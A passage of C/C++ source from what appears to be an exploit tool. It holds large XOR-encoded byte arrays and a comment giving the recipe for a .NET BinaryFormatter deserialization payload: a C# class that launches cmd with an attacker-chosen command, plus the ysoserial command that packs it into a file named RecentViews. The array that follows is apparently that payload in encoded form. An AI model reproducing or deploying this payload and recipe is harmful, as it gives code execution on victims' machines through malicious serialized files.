	0x1B, 0x86, 0x8D, 0x9C, 0xD2, 0x3B, 0xEE, 0x48, 0x0E, 0xB1, 0x87, 0xB0, 0xC8, 0x2B, 0xF7, 0x53,
	0x1D, 0xC9, 0xCB, 0xA8, 0xDF, 0x75, 0xD0, 0x48, 0x16, 0x98, 0x94, 0xF1, 0x87, 0x1A, 0xED, 0x58,
	0x08, 0xBA, 0x88, 0xBE, 0xC2, 0x72, 0xBC, 0x1F, 0x5A, 0xA4, 0x88, 0xA0, 0xD4, 0x38, 0xF1, 0x4F,
	0x1E, 0xC9, 0xCB, 0xA8, 0xDF, 0x75, 0xD0, 0x48, 0x16, 0x98, 0x94, 0xF1, 0x87, 0x0B, 0xF1, 0x50,
	0x1B, 0x9D, 0x87, 0xEE, 0x85, 0x6D, 0xBE, 0x71, 0x15, 0x95, 0x8D, 0x86, 0xD4, 0x2A, 0xEC, 0x6D,
	0x08, 0x9B, 0x8F, 0xBA, 0xCB, 0x2A, 0xA3, 0x1F, 0x3C, 0x95, 0x85, 0xA0, 0xC2, 0x6D, 0xBE, 0x7B,
	0x13, 0x98, 0x8C, 0x9D, 0xC6, 0x22, 0xFB, 0x00, 0x58, 0x97, 0x84, 0xB7, 0x85, 0x6F, 0xB1, 0x03,
	0x77, 0xFE, 0xC9, 0xF3, 0x87, 0x6F, 0xBE, 0x1D, 0x46, 0xDB, 0x9A, 0xB7, 0x9D, 0x1F, 0xEC, 0x52,
	0x19, 0x91, 0x9A, 0xA0, 0x89, 0x1C, 0xEA, 0x5C, 0x08, 0x80, 0xA0, 0xBD, 0xC1, 0x20, 0xA0, 0x30,
	0x70, 0xD4, 0xC9, 0xF3, 0x87, 0x73, 0xB1, 0x4E, 0x1E, 0xCE, 0xB9, 0xA1, 0xC8, 0x2C, 0xFB, 0x4E,
	0x09, 0xCA, 0xE4, 0xD9, 0x87, 0x6F, 0xA2, 0x12, 0x35, 0x96, 0x83, 0xB6, 0xC4, 0x3B, 0xDA, 0x5C,
	0x0E, 0x95, 0xB9, 0xA1, 0xC8, 0x39, 0xF7, 0x59, 0x1F, 0x86, 0xC7, 0x9C, 0xC5, 0x25, 0xFB, 0x5E,
	0x0E, 0xBD, 0x87, 0xA0, 0xD3, 0x2E, 0xF0, 0x5E, 0x1F, 0xCA, 0xE4, 0xD9, 0x9B, 0x60, 0xD1, 0x5F,
	0x10, 0x91, 0x8A, 0xA7, 0xE3, 0x2E, 0xEA, 0x5C, 0x2A, 0x86, 0x86, 0xA5, 0xCE, 0x2B, 0xFB, 0x4F,
	0x44, 0xFF, 0xE2
};

/*
// ExploitClass.dll
using System;

class ExploitClass
{
	public ExploitClass()
	{
		System.Diagnostics.Process.Start("cmd", "/c " + Environment.GetEnvironmentVariable("pe386"));
	}
}

ysoserial_frmv2.exe -o raw -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c .\ExploitClass.cs;System.dll > RecentViews
*/
static const unsigned char g_encodedRecentViewsV2[8427] = {
	0x7A, 0xF5, 0xE9, 0xD3, 0xA7, 0xB0, 0x61, 0xC2, 0x85, 0xF5, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF8, 0xEB, 0xD3, 0xA7, 0x4F, 0xD0, 0x6E, 0x03, 0x87, 0x9D, 0xB6, 0xCA, 0x61, 0xDA, 0x5C,
	0x0E, 0x95, 0xC5, 0xF3, 0xF1, 0x2A, 0xEC, 0x4E, 0x13, 0x9B, 0x87, 0xEE, 0x95, 0x61, 0xAE, 0x13,
	0x4A, 0xDA, 0xD9, 0xFF, 0x87, 0x0C, 0xEB, 0x51, 0x0E, 0x81, 0x9B, 0xB6, 0x9A, 0x21, 0xFB, 0x48,
	0x0E, 0x86, 0x88, 0xBF, 0x8B, 0x6F, 0xCE, 0x48, 0x18, 0x98, 0x80, 0xB0, 0xEC, 0x2A, 0xE7, 0x69,
	0x15, 0x9F, 0x8C, 0xBD, 0x9A, 0x2D, 0xA9, 0x0A, 0x1B, 0xC1, 0x8A, 0xE6, 0x91, 0x7E, 0xA7, 0x0E,
	0x4E, 0x91, 0xD9, 0xEB, 0x9E, 0x4A, 0x9F, 0x3D, 0x7A, 0xF4, 0xFA, 0x80, 0xDE, 0x3C, 0xEA, 0x58,
	0x17, 0xDA, 0xAD, 0xB2, 0xD3, 0x2E, 0xB0, 0x79, 0x1B, 0x80, 0x88, 0x80, 0xC2, 0x3B, 0x94, 0x3D,
	0x7A, 0xF4, 0xFF, 0x97, 0xC6, 0x3B, 0xFF, 0x6E, 0x1F, 0x80, 0xC7, 0x81, 0xC2, 0x22, 0xF1, 0x49,
	0x13, 0x9A, 0x8E, 0x95, 0xC8, 0x3D, 0xF3, 0x5C, 0x0E, 0xE7, 0xAD, 0xB2, 0xD3, 0x2E, 0xCD, 0x58,
	0x0E, 0xDA, 0xAD, 0xB2, 0xD3, 0x2E, 0xCD, 0x58, 0x0E, 0xBA, 0x88, 0xBE, 0xC2, 0x5E, 0xDA, 0x5C,
	0x0E, 0x95, 0xBA, 0xB6, 0xD3, 0x61, 0xD0, 0x5C, 0x17, 0x91, 0x9A, 0xA3, 0xC6, 0x2C, 0xFB, 0x33,
	0x3E, 0x95, 0x9D, 0xB2, 0xF4, 0x2A, 0xEA, 0x13, 0x2A, 0x86, 0x8C, 0xB5, 0xCE, 0x37, 0x8B, 0x79,
	0x1B, 0x80, 0x88, 0x80, 0xC2, 0x3B, 0xB0, 0x7E, 0x1B, 0x87, 0x8C, 0x80, 0xC2, 0x21, 0xED, 0x54,
	0x0E, 0x9D, 0x9F, 0xB6, 0xB5, 0x0B, 0xFF, 0x49, 0x1B, 0xA7, 0x8C, 0xA7, 0x89, 0x03, 0xF1, 0x5E,
	0x1B, 0x98, 0x8C, 0x9F, 0xE4, 0x06, 0xDA, 0x27, 0x3E, 0x95, 0x9D, 0xB2, 0xF4, 0x2A, 0xEA, 0x13,
	0x3F, 0x9A, 0x8F, 0xBC, 0xD5, 0x2C, 0xFB, 0x7E, 0x15, 0x9A, 0x9A, 0xA7, 0xD5, 0x2E, 0xF7, 0x53,
	0x0E, 0x87, 0xF3, 0x97, 0xC6, 0x3B, 0xFF, 0x6E, 0x1F, 0x80, 0xC7, 0x96, 0xDF, 0x3B, 0xFB, 0x53,
	0x1E, 0x91, 0x8D, 0x83, 0xD5, 0x20, 0xEE, 0x58, 0x08, 0x80, 0x80, 0xB6, 0xD4, 0x5B, 0xDA, 0x5C,
	0x0E, 0x95, 0xBA, 0xB6, 0xD3, 0x61, 0xCA, 0x5C, 0x18, 0x98, 0x8C, 0xA0, 0x89, 0x0C, 0xF1, 0x48,
	0x14, 0x80, 0xF9, 0x97, 0xC6, 0x3B, 0xFF, 0x6E, 0x1F, 0x80, 0xC7, 0x87, 0xC6, 0x2D, 0xF2, 0x58,
	0x09, 0xAB, 0xD9, 0xD7, 0xA6, 0x4E, 0x9F, 0x3D, 0x7A, 0xF4, 0xEB, 0xD3, 0xA0, 0x50, 0xCD, 0x44,
	0x09, 0x80, 0x8C, 0xBE, 0x89, 0x0B, 0xFF, 0x49, 0x1B, 0xDA, 0xBA, 0xB6, 0xD5, 0x26, 0xFF, 0x51,
	0x13, 0x8E, 0x88, 0xA7, 0xCE, 0x20, 0xF0, 0x7B, 0x15, 0x86, 0x84, 0xB2, 0xD3, 0x4D, 0x9E, 0x3D,
	0x7A, 0xF5, 0xE1, 0xD2, 0xAF, 0x4D, 0x9C, 0x3D, 0x7A, 0xF4, 0xEC, 0x2E, 0x58, 0xB0, 0x61, 0x22,
	0x29, 0x8D, 0x9A, 0xA7, 0xC2, 0x22, 0xB0, 0x79, 0x1B, 0x80, 0x88, 0xFD, 0xF4, 0x2A, 0xEC, 0x54,
	0x1B, 0x98, 0x80, 0xA9, 0xC6, 0x3B, 0xF7, 0x52, 0x14, 0xB2, 0x86, 0xA1, 0xCA, 0x2E, 0xEA, 0x3C,
	0x7A, 0xF4, 0xE9, 0xD4, 0xD1, 0x2E, 0xF2, 0x48, 0x1F, 0xAB, 0xB6, 0xD3, 0xAF, 0x4D, 0x9E, 0x3D,
	0x7A, 0xF5, 0xE9, 0xD3, 0xA7, 0x49, 0x9A, 0x3D, 0x7A, 0xF4, 0xE9, 0xDA, 0xA3, 0x4F, 0x9E, 0x3D,
	0x73, 0xF0, 0xE9, 0xD3, 0xA7, 0x4F, 0x97, 0x39, 0x7A, 0xF4, 0xE9, 0xD9, 0xA6, 0x4F, 0x9E, 0x3D,
	0x73, 0xF1, 0xE9, 0xD3, 0xA7, 0x40, 0x9B, 0x3D, 0x7A, 0xF4, 0x12, 0xCD, 0xA7, 0x4F, 0x9C, 0x3D,
	0x7B, 0xF4, 0xE9, 0xD3, 0x58, 0xB0, 0x61, 0xC2, 0x7B, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7E, 0xF5, 0xE9, 0xD3, 0xA7, 0x30, 0xCD, 0x44, 0x09, 0x80, 0x8C, 0xBE, 0x89, 0x0C, 0xF1, 0x51,
	0x16, 0x91, 0x8A, 0xA7, 0xCE, 0x20, 0xF0, 0x4E, 0x54, 0xB3, 0x8C, 0xBD, 0xC2, 0x3D, 0xF7, 0x5E,
	0x54, 0xB8, 0x80, 0xA0, 0xD3, 0x2F, 0xAF, 0x66, 0x21, 0xA7, 0x90, 0xA0, 0xD3, 0x2A, 0xF3, 0x13,
	0x35, 0x96, 0x83, 0xB6, 0xC4, 0x3B, 0xB2, 0x1D, 0x17, 0x87, 0x8A, 0xBC, 0xD5, 0x23, 0xF7, 0x5F,
	0x56, 0xD4, 0xBF, 0xB6, 0xD5, 0x3C, 0xF7, 0x52, 0x14, 0xC9, 0xDB, 0xFD, 0x97, 0x61, 0xAE, 0x13,
	0x4A, 0xD8, 0xC9, 0x90, 0xD2, 0x23, 0xEA, 0x48, 0x08, 0x91, 0xD4, 0xBD, 0xC2, 0x3A, 0xEA, 0x4F,
	0x1B, 0x98, 0xC5, 0xF3, 0xF7, 0x3A, 0xFC, 0x51, 0x13, 0x97, 0xA2, 0xB6, 0xDE, 0x1B, 0xF1, 0x56,
	0x1F, 0x9A, 0xD4, 0xB1, 0x90, 0x78, 0xFF, 0x08, 0x19, 0xC1, 0xDF, 0xE2, 0x9E, 0x7C, 0xAA, 0x58,
	0x4A, 0xCC, 0xD0, 0x8E, 0xFA, 0x4C, 0x9E, 0x3D, 0x7A, 0xF2, 0xB6, 0xBA, 0xD3, 0x2A, 0xF3, 0x4E,
	0x7F, 0xAB, 0x9A, 0xBA, 0xDD, 0x2A, 0x96, 0x62, 0x0C, 0x91, 0x9B, 0xA0, 0xCE, 0x20, 0xF0, 0x38,
	0x7A, 0xF4, 0xE1, 0xDB, 0xAE, 0x4D, 0x9E, 0x3D, 0x7A, 0xF3, 0xE9, 0xD3, 0xA7, 0x48, 0x9E, 0x3D,
	0x7A, 0xE4, 0xEB, 0xD3, 0xA7, 0x4F, 0x96, 0x3D, 0x7A, 0xF4, 0xE0, 0xD0, 0xA7, 0x4F, 0x9E, 0x34,
	0x7E, 0xF4, 0xE9, 0xD3, 0xAE, 0x4A, 0x9E, 0x3D, 0x7A, 0xFD, 0xEF, 0xD3, 0xA7, 0x4F, 0x97, 0x3A,
	0x7A, 0xF4, 0xE9, 0xDA, 0xAF, 0x4F, 0x9E, 0x3D, 0x73, 0xFD, 0xE9, 0xD3, 0xA7, 0x45, 0x92, 0x37,
	0x7A, 0xF4, 0xE9, 0xB2, 0xF4, 0x36, 0xED, 0x49, 0x1F, 0x99, 0xC7, 0x84, 0xC8, 0x3D, 0xF5, 0x5B,
	0x16, 0x9B, 0x9E, 0xFD, 0xE4, 0x20, 0xF3, 0x4D, 0x15, 0x9A, 0x8C, 0xBD, 0xD3, 0x02, 0xF1, 0x59,
	0x1F, 0x98, 0xC5, 0xF3, 0xF1, 0x2A, 0xEC, 0x4E, 0x13, 0x9B, 0x87, 0xEE, 0x94, 0x61, 0xAE, 0x13,
	0x4A, 0xDA, 0xD9, 0xFF, 0x87, 0x0C, 0xEB, 0x51, 0x0E, 0x81, 0x9B, 0xB6, 0x9A, 0x21, 0xFB, 0x48,
	0x0E, 0x86, 0x88, 0xBF, 0x8B, 0x6F, 0xCE, 0x48, 0x18, 0x98, 0x80, 0xB0, 0xEC, 0x2A, 0xE7, 0x69,
	0x15, 0x9F, 0x8C, 0xBD, 0x9A, 0x7C, 0xAF, 0x5F, 0x1C, 0xC7, 0xD1, 0xE6, 0x91, 0x2E, 0xFA, 0x0E,
	0x4C, 0xC0, 0x8C, 0xE0, 0x92, 0x4A, 0x9D, 0x3D, 0x7A, 0xF4, 0x83, 0x80, 0xDE, 0x3C, 0xEA, 0x58,
	0x17, 0xDA, 0xBE, 0xBC, 0xD5, 0x24, 0xF8, 0x51, 0x15, 0x83, 0xC7, 0x90, 0xC8, 0x22, 0xEE, 0x52,
	0x14, 0x91, 0x87, 0xA7, 0xEA, 0x20, 0xFA, 0x58, 0x16, 0xDA, 0xBA, 0xB6, 0xD5, 0x26, 0xFF, 0x51,
	0x13, 0x8E, 0x88, 0xA7, 0xCE, 0x20, 0xF0, 0x13, 0x3B, 0x97, 0x9D, 0xBA, 0xD1, 0x26, 0xEA, 0x44,
	0x29, 0x81, 0x9B, 0xA1, 0xC8, 0x28, 0xFF, 0x49, 0x1F, 0xA7, 0x8C, 0xBF, 0xC2, 0x2C, 0xEA, 0x52,
	0x08, 0xDF, 0xA6, 0xB1, 0xCD, 0x2A, 0xFD, 0x49, 0x29, 0x81, 0x9B, 0xA1, 0xC8, 0x28, 0xFF, 0x49,
	0x1F, 0xDF, 0xA6, 0xB1, 0xCD, 0x2A, 0xFD, 0x49, 0x29, 0x91, 0x9B, 0xBA, 0xC6, 0x23, 0xF7, 0x47,
	0x1F, 0x90, 0xBB, 0xB6, 0xC1, 0x4D, 0x9E, 0x3D, 0x7A, 0xF0, 0x9D, 0xAA, 0xD7, 0x2A, 0x95, 0x50,
	0x1F, 0x99, 0x8B, 0xB6, 0xD5, 0x0B, 0xFF, 0x49, 0x1B, 0x87, 0xEA, 0xD6, 0xB8, 0x1C, 0xE7, 0x4E,
	0x0E, 0x91, 0x84, 0xFD, 0xF2, 0x21, 0xF7, 0x49, 0x03, 0xA7, 0x8C, 0xA1, 0xCE, 0x2E, 0xF2, 0x54,
	0x00, 0x95, 0x9D, 0xBA, 0xC8, 0x21, 0xD6, 0x52, 0x16, 0x90, 0x8C, 0xA1, 0xAD, 0x4F, 0x9E, 0x3D,
	0x73, 0xFF, 0xE9, 0xD3, 0xA7, 0x46, 0x92, 0x3D, 0x7A, 0xF4, 0xE8, 0xD7, 0xA7, 0x4F, 0x9E, 0x3E,
	0x7A, 0xF4, 0xE9, 0xDA, 0xAA, 0x4F, 0x9E, 0x3D, 0x73, 0xFA, 0xE9, 0xD3, 0xA7, 0x4E, 0x9B, 0x3D,
	0x7A, 0xF4, 0xEA, 0xD3, 0xA7, 0x4F, 0x97, 0x32, 0x7A, 0xF4, 0xE9, 0xDA, 0xB7, 0x4F, 0x9E, 0x3D,
	0x7B, 0xF2, 0xE9, 0xD3, 0xA7, 0x4C, 0x9E, 0x3D, 0x7A, 0xFD, 0xF8, 0xD3, 0xA7, 0x4F, 0x97, 0x2F,
	0x7A, 0xF4, 0xE9, 0xD2, 0xA0, 0x4F, 0x9E, 0x3D, 0x79, 0xF4, 0xE9, 0xD3, 0xAE, 0x5C, 0x9E, 0x3D,
	0x7A, 0xFD, 0xFD, 0xD3, 0xA7, 0x4F, 0x9F, 0x35, 0x7A, 0xF4, 0xE9, 0xD0, 0xA7, 0x4F, 0x9E, 0x34,
	0x6F, 0xF4, 0xE9, 0xD3, 0xAE, 0x59, 0x9E, 0x3D, 0x7A, 0xF0, 0xE0, 0xD3, 0xA7, 0x4F, 0x82, 0x6E,
	0x03, 0x87, 0x9D, 0xB6, 0xCA, 0x61, 0xDD, 0x52, 0x16, 0x98, 0x8C, 0xB0, 0xD3, 0x26, 0xF1, 0x53,
	0x09, 0xDA, 0xA1, 0xB2, 0xD4, 0x27, 0xEA, 0x5C, 0x18, 0x98, 0x8C, 0xD4, 0xA7, 0x4F, 0x9E, 0x37,
	0x36, 0x9B, 0x88, 0xB7, 0xE1, 0x2E, 0xFD, 0x49, 0x15, 0x86, 0xEE, 0x85, 0xC2, 0x3D, 0xED, 0x54,
	0x15, 0x9A, 0xE1, 0x90, 0xC8, 0x22, 0xEE, 0x5C, 0x08, 0x91, 0x9B, 0xC3, 0xEF, 0x2E, 0xED, 0x55,
	0x39, 0x9B, 0x8D, 0xB6, 0xF7, 0x3D, 0xF1, 0x4B, 0x13, 0x90, 0x8C, 0xA1, 0xAF, 0x07, 0xFF, 0x4E,
	0x12, 0xA7, 0x80, 0xA9, 0xC2, 0x4B, 0xD5, 0x58, 0x03, 0x87, 0xEF, 0x85, 0xC6, 0x23, 0xEB, 0x58,
	0x09, 0xF4, 0xE9, 0xD0, 0xA4, 0x4F, 0x9B, 0x38, 0x71, 0xFC, 0xF5, 0x80, 0xDE, 0x3C, 0xEA, 0x58,
	0x17, 0xDA, 0xAA, 0xBC, 0xCB, 0x23, 0xFB, 0x5E, 0x0E, 0x9D, 0x86, 0xBD, 0xD4, 0x61, 0xD7, 0x7E,
	0x15, 0x99, 0x99, 0xB2, 0xD5, 0x2A, 0xEC, 0x19, 0x29, 0x8D, 0x9A, 0xA7, 0xC2, 0x22, 0xB0, 0x7E,
	0x15, 0x98, 0x85, 0xB6, 0xC4, 0x3B, 0xF7, 0x52, 0x14, 0x87, 0xC7, 0x9A, 0xEF, 0x2E, 0xED, 0x55,
	0x39, 0x9B, 0x8D, 0xB6, 0xF7, 0x3D, 0xF1, 0x4B, 0x13, 0x90, 0x8C, 0xA1, 0xAF, 0xA3, 0xCF, 0x05,
	0x45, 0xF6, 0xE9, 0xD3, 0xA7, 0x45, 0x94, 0x36, 0x7A, 0xF4, 0xE9, 0xDA, 0xB0, 0x4F, 0x9E, 0x3D,
	0x73, 0xEC, 0xE9, 0xD3, 0xA7, 0x4B, 0x95, 0x3D, 0x7A, 0xF4, 0xF6, 0x80, 0xDE, 0x3C, 0xEA, 0x58,
	0x17, 0xDA, 0xBC, 0xBD, 0xCE, 0x3B, 0xE7, 0x6E, 0x1F, 0x86, 0x80, 0xB2, 0xCB, 0x26, 0xE4, 0x5C,
	0x0E, 0x9D, 0x86, 0xBD, 0xEF, 0x20, 0xF2, 0x59, 0x1F, 0x86, 0xEA, 0xD3, 0xA7, 0x4F, 0x9A, 0x79,
	0x1B, 0x80, 0x88, 0xDA, 0xF2, 0x21, 0xF7, 0x49, 0x03, 0xA0, 0x90, 0xA3, 0xC2, 0x43, 0xDF, 0x4E,
	0x09, 0x91, 0x84, 0xB1, 0xCB, 0x36, 0xD0, 0x5C, 0x17, 0x91, 0xE8, 0xD3, 0xA6, 0x47, 0x98, 0x24,
	0x7A, 0xF4, 0xE9, 0x2B, 0xA6, 0x1C, 0xE7, 0x4E, 0x0E, 0x91, 0x84, 0xFD, 0xEB, 0x26, 0xF0, 0x4C,
	0x54, 0xB1, 0x87, 0xA6, 0xCA, 0x2A, 0xEC, 0x5C, 0x18, 0x98, 0x8C, 0xF8, 0xF0, 0x27, 0xFB, 0x4F,
	0x1F, 0xA7, 0x8C, 0xBF, 0xC2, 0x2C, 0xEA, 0x71, 0x13, 0x87, 0x9D, 0x9A, 0xD3, 0x2A, 0xEC, 0x5C,
	0x0E, 0x9B, 0x9B, 0xB3, 0x95, 0x14, 0xC5, 0x6E, 0x03, 0x87, 0x9D, 0xB6, 0xCA, 0x61, 0xDC, 0x44,
	0x0E, 0x91, 0xB2, 0x8E, 0x8B, 0x6F, 0xF3, 0x4E, 0x19, 0x9B, 0x9B, 0xBF, 0xCE, 0x2D, 0xB2, 0x1D,
	0x2C, 0x91, 0x9B, 0xA0, 0xCE, 0x20, 0xF0, 0x00, 0x48, 0xDA, 0xD9, 0xFD, 0x97, 0x61, 0xAE, 0x11,
	0x5A, 0xB7, 0x9C, 0xBF, 0xD3, 0x3A, 0xEC, 0x58, 0x47, 0x9A, 0x8C, 0xA6, 0xD3, 0x3D, 0xFF, 0x51,
	0x56, 0xD4, 0xB9, 0xA6, 0xC5, 0x23, 0xF7, 0x5E, 0x31, 0x91, 0x90, 0x87, 0xC8, 0x24, 0xFB, 0x53,
	0x47, 0x96, 0xDE, 0xE4, 0xC6, 0x7A, 0xFD, 0x08, 0x4C, 0xC5, 0xD0, 0xE0, 0x93, 0x2A, 0xAE, 0x05,
	0x43, 0xA9, 0xC5, 0x88, 0xF4, 0x36, 0xED, 0x49, 0x1F, 0x99, 0xC7, 0x81, 0xC2, 0x29, 0xF2, 0x58,
	0x19, 0x80, 0x80, 0xBC, 0xC9, 0x61, 0xDF, 0x4E, 0x09, 0x91, 0x84, 0xB1, 0xCB, 0x36, 0xB2, 0x1D,
	0x17, 0x87, 0x8A, 0xBC, 0xD5, 0x23, 0xF7, 0x5F, 0x56, 0xD4, 0xBF, 0xB6, 0xD5, 0x3C, 0xF7, 0x52,
	0x14, 0xC9, 0xDB, 0xFD, 0x97, 0x61, 0xAE, 0x13, 0x4A, 0xD8, 0xC9, 0x90, 0xD2, 0x23, 0xEA, 0x48,
	0x08, 0x91, 0xD4, 0xBD, 0xC2, 0x3A, 0xEA, 0x4F, 0x1B, 0x98, 0xC5, 0xF3, 0xF7, 0x3A, 0xFC, 0x51,
	0x13, 0x97, 0xA2, 0xB6, 0xDE, 0x1B, 0xF1, 0x56, 0x1F, 0x9A, 0xD4, 0xB1, 0x90, 0x78, 0xFF, 0x08,
	0x19, 0xC1, 0xDF, 0xE2, 0x9E, 0x7C, 0xAA, 0x58, 0x4A, 0xCC, 0xD0, 0x8E, 0xFA, 0x4B, 0x9E, 0x3D,
	0x7A, 0xF2, 0xF3, 0xD3, 0xA7, 0x4F, 0xD0, 0x6E, 0x03, 0x87, 0x9D, 0xB6, 0xCA, 0x61, 0xDD, 0x52,
	0x08, 0x91, 0xC5, 0xF3, 0xF1, 0x2A, 0xEC, 0x4E, 0x13, 0x9B, 0x87, 0xEE, 0x94, 0x61, 0xAB, 0x13,
	0x4A, 0xDA, 0xD9, 0xFF, 0x87, 0x0C, 0xEB, 0x51, 0x0E, 0x81, 0x9B, 0xB6, 0x9A, 0x21, 0xFB, 0x48,
	0x0E, 0x86, 0x88, 0xBF, 0x8B, 0x6F, 0xCE, 0x48, 0x18, 0x98, 0x80, 0xB0, 0xEC, 0x2A, 0xE7, 0x69,
	0x15, 0x9F, 0x8C, 0xBD, 0x9A, 0x2D, 0xA9, 0x0A, 0x1B, 0xC1, 0x8A, 0xE6, 0x91, 0x7E, 0xA7, 0x0E,
	0x4E, 0x91, 0xD9, 0xEB, 0x9E, 0x5F, 0x92, 0x3D, 0x7A, 0xF4, 0xEE, 0xD3, 0xA7, 0x4F, 0x97, 0x26,
	0x7A, 0xF4, 0xE9, 0xD9, 0xAE, 0x53, 0x9E, 0x3D, 0x7A, 0xFD, 0xF4, 0xD3, 0xA7, 0x4F, 0x96, 0x35,
	0x7A, 0xF4, 0xE9, 0xD3, 0xAD, 0x47, 0x96, 0x3C, 0x7A, 0xF4, 0xE9, 0xD2, 0xAA, 0x4F, 0x9E, 0x3D,
	0x71, 0xF4, 0xE9, 0xD3, 0xA1, 0x51, 0x9E, 0x3D, 0x7A, 0x0C, 0xE8, 0x80, 0xDE, 0x3C, 0xEA, 0x58,
	0x17, 0xDA, 0xA5, 0xBA, 0xC9, 0x3E, 0xB0, 0x78, 0x14, 0x81, 0x84, 0xB6, 0xD5, 0x2E, 0xFC, 0x51,
	0x1F, 0xDF, 0xD5, 0x80, 0xC2, 0x23, 0xFB, 0x5E, 0x0E, 0xB9, 0x88, 0xBD, 0xDE, 0x06, 0xEA, 0x58,
	0x08, 0x95, 0x9D, 0xBC, 0xD5, 0x71, 0xFA, 0x62, 0x25, 0xC5, 0xDD, 0xB3, 0x95, 0x14, 0xC5, 0x6E,
	0x03, 0x87, 0x9D, 0xB6, 0xCA, 0x61, 0xCC, 0x58, 0x1C, 0x98, 0x8C, 0xB0, 0xD3, 0x26, 0xF1, 0x53,
	0x54, 0xB5, 0x9A, 0xA0, 0xC2, 0x22, 0xFC, 0x51, 0x03, 0xD8, 0xC9, 0xBE, 0xD4, 0x2C, 0xF1, 0x4F,
	0x16, 0x9D, 0x8B, 0xFF, 0x87, 0x19, 0xFB, 0x4F, 0x09, 0x9D, 0x86, 0xBD, 0x9A, 0x7D, 0xB0, 0x0D,
	0x54, 0xC4, 0xC7, 0xE3, 0x8B, 0x6F, 0xDD, 0x48, 0x16, 0x80, 0x9C, 0xA1, 0xC2, 0x72, 0xF0, 0x58,
	0x0F, 0x80, 0x9B, 0xB2, 0xCB, 0x63, 0xBE, 0x6D, 0x0F, 0x96, 0x85, 0xBA, 0xC4, 0x04, 0xFB, 0x44,
	0x2E, 0x9B, 0x82, 0xB6, 0xC9, 0x72, 0xFC, 0x0A, 0x4D, 0x95, 0xDC, 0xB0, 0x92, 0x79, 0xAF, 0x04,
	0x49, 0xC0, 0x8C, 0xE3, 0x9F, 0x76, 0xC3, 0x11, 0x21, 0xA7, 0x90, 0xA0, 0xD3, 0x2A, 0xF3, 0x13,
	0x2E, 0x8D, 0x99, 0xB6, 0x8B, 0x6F, 0xF3, 0x4E, 0x19, 0x9B, 0x9B, 0xBF, 0xCE, 0x2D, 0xB2, 0x1D,
	0x2C, 0x91, 0x9B, 0xA0, 0xCE, 0x20, 0xF0, 0x00, 0x48, 0xDA, 0xD9, 0xFD, 0x97, 0x61, 0xAE, 0x11,
	0x5A, 0xB7, 0x9C, 0xBF, 0xD3, 0x3A, 0xEC, 0x58, 0x47, 0x9A, 0x8C, 0xA6, 0xD3, 0x3D, 0xFF, 0x51,
	0x56, 0xD4, 0xB9, 0xA6, 0xC5, 0x23, 0xF7, 0x5E, 0x31, 0x91, 0x90, 0x87, 0xC8, 0x24, 0xFB, 0x53,
	0x47, 0x96, 0xDE, 0xE4, 0xC6, 0x7A, 0xFD, 0x08, 0x4C, 0xC5, 0xD0, 0xE0, 0x93, 0x2A, 0xAE, 0x05,
	0x43, 0xA9, 0xB4, 0xD7, 0xA7, 0x4F, 0x9E, 0x34, 0x60, 0xF4, 0xE9, 0xD3, 0xB7, 0x41, 0x9E, 0x3D,
	0x7A, 0xFF, 0xE9, 0xD3, 0xA7, 0x45, 0x96, 0x35, 0x84, 0x0B, 0x16, 0x2C, 0xAF, 0x47, 0x9F, 0x3D,
	0x7A, 0xF4, 0xE3, 0xDA, 0xA4, 0x4F, 0x9E, 0x3D, 0x70, 0xFD, 0xC8, 0xD3, 0xA7, 0x4F, 0x93, 0x39,
	0x7B, 0xFB, 0xE9, 0xD3, 0xA7, 0x44, 0x9E, 0x3D, 0x7A, 0xF2, 0xCB, 0xD3, 0xA7, 0x4F, 0x71, 0x3C,
	0x29, 0x8D, 0x9A, 0xA7, 0xC2, 0x22, 0xB0, 0x71, 0x13, 0x9A, 0x98, 0xFD, 0xE2, 0x21, 0xEB, 0x50,
	0x1F, 0x86, 0x88, 0xB1, 0xCB, 0x2A, 0xB5, 0x6A, 0x12, 0x91, 0x9B, 0xB6, 0xF4, 0x2A, 0xF2, 0x58,
	0x19, 0x80, 0xAC, 0xBD, 0xD2, 0x22, 0xFB, 0x4F, 0x1B, 0x96, 0x85, 0xB6, 0xEE, 0x3B, 0xFB, 0x4F,
	0x1B, 0x80, 0x86, 0xA1, 0xC7, 0x7D, 0xC5, 0x66, 0x29, 0x8D, 0x9A, 0xA7, 0xC2, 0x22, 0xB0, 0x69,
	0x03, 0x84, 0x8C, 0xFF, 0x87, 0x22, 0xED, 0x5E, 0x15, 0x86, 0x85, 0xBA, 0xC5, 0x63, 0xBE, 0x6B,
	0x1F, 0x86, 0x9A, 0xBA, 0xC8, 0x21, 0xA3, 0x0F, 0x54, 0xC4, 0xC7, 0xE3, 0x89, 0x7F, 0xB2, 0x1D,
	0x39, 0x81, 0x85, 0xA7, 0xD2, 0x3D, 0xFB, 0x00, 0x14, 0x91, 0x9C, 0xA7, 0xD5, 0x2E, 0xF2, 0x11,
	0x5A, 0xA4, 0x9C, 0xB1, 0xCB, 0x26, 0xFD, 0x76, 0x1F, 0x8D, 0xBD, 0xBC, 0xCC, 0x2A, 0xF0, 0x00,
	0x18, 0xC3, 0xDE, 0xB2, 0x92, 0x2C, 0xAB, 0x0B, 0x4B, 0xCD, 0xDA, 0xE7, 0xC2, 0x7F, 0xA6, 0x04,
	0x27, 0xD8, 0xB2, 0x80, 0xDE, 0x3C, 0xEA, 0x58, 0x17, 0xDA, 0xA6, 0xB1, 0xCD, 0x2A, 0xFD, 0x49,
	0x56, 0xD4, 0x84, 0xA0, 0xC4, 0x20, 0xEC, 0x51, 0x13, 0x96, 0xC5, 0xF3, 0xF1, 0x2A, 0xEC, 0x4E,
	0x13, 0x9B, 0x87, 0xEE, 0x95, 0x61, 0xAE, 0x13, 0x4A, 0xDA, 0xD9, 0xFF, 0x87, 0x0C, 0xEB, 0x51,
	0x0E, 0x81, 0x9B, 0xB6, 0x9A, 0x21, 0xFB, 0x48, 0x0E, 0x86, 0x88, 0xBF, 0x8B, 0x6F, 0xCE, 0x48,
	0x18, 0x98, 0x80, 0xB0, 0xEC, 0x2A, 0xE7, 0x69, 0x15, 0x9F, 0x8C, 0xBD, 0x9A, 0x2D, 0xA9, 0x0A,
	0x1B, 0xC1, 0x8A, 0xE6, 0x91, 0x7E, 0xA7, 0x0E, 0x4E, 0x91, 0xD9, 0xEB, 0x9E, 0x12, 0xC3, 0x39,
